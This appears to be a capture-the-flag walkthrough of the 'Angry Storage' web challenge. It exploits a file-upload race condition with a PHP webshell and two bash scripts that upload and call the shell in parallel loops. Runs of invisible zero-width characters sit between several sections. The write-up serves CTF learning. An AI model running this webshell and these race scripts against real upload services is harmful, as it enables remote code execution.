Angry Storage

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: file_upload_race_condition, temporary_file_access, webshell_upload

Summary

Walkthrough of the CUSTOM Web Angry Storage. "Found this aaangry storage with source codes available. Can you hack it?"

Description

"Found this aaangry storage with source codes available. Can you hack it?"

A file storage service that processes uploaded files slowly and deletes them after processing. The source code is available on the page.

URL: https://2019-11-17-angry.ctf.su/

Analysis

The storage service has a race condition vulnerability in its file upload handling:

1. User uploads a file
2. Server saves the file to a temporary location
3. Server processes the file (this takes time)
4. Server deletes the file after processing ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerability: there's a time window between file upload and deletion where the uploaded file is accessible. If we upload a PHP webshell and access it during this window, we can execute arbitrary code.

Solution

Step 1: Analyze the source code

Review the available source code to understand:

• Where uploaded files are stored
• How long the processing takes
• The URL pattern for accessing uploaded files

Step 2: Prepare the PHP webshell

Create a simple PHP webshell:

 php read-only • copy allowed Copy
<?php system($_GET['c']); ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploit the race condition

Upload the webshell and immediately try to access it before deletion:

 bash read-only • copy allowed Copy
#!/bin/bash
# Race condition exploit for file upload
# Upload PHP shell and access it before deletion

TARGET_UPLOAD="https://2019-11-17-angry.ctf.su/upload"
TARGET_ACCESS="https://2019-11-17-angry.ctf.su/uploads"

# Create PHP webshell
echo '<?php system($_GET["c"]); ?>' > shell.php

# Function to upload and access
exploit() {
    # Upload the shell
    RESPONSE=$(curl -s -X POST "$TARGET_UPLOAD" \
        -F "file=@shell.php")
    
    # Extract filename from response (adjust based on actual response format)
    FILENAME=$(echo "$RESPONSE" | grep -oP 'uploads/\K[^"]+')
    
    # Immediately try to access the shell
    curl -s "$TARGET_ACCESS/$FILENAME?c=cat+/flag.txt"
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Run multiple attempts in parallel
for i in {1..50}; do
    exploit &
done

wait

Alternative: Parallel upload and access

 bash read-only • copy allowed Copy
#!/bin/bash
# More aggressive race condition exploit

SHELL_CONTENT='<?php system($_GET["c"]); ?>'
UPLOAD_URL="https://2019-11-17-angry.ctf.su/upload"
ACCESS_URL="https://2019-11-17-angry.ctf.su/uploads/shell.php"

# Continuously try to access the shell while uploading
while true; do
    # Upload in background
    echo "$SHELL_CONTENT" | curl -s -X POST "$UPLOAD_URL" \
        -F "file=@-;filename=shell.php" &
    
    # Try to access immediately
    RESULT=$(curl -s "$ACCESS_URL?c=cat+/flag.txt")
    
    if [[ "$RESULT" == *"spbctf"* ]]; then
        echo "Flag found: $RESULT"
        break
    fi
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Read the flag

Once the webshell executes, use it to read the flag:

?c=cat /flag.txt

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering file_upload_race_condition, temporary_file_access, webshell_upload was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2019-11-17 • CUSTOM • Angry Storage • Difficulty: Easy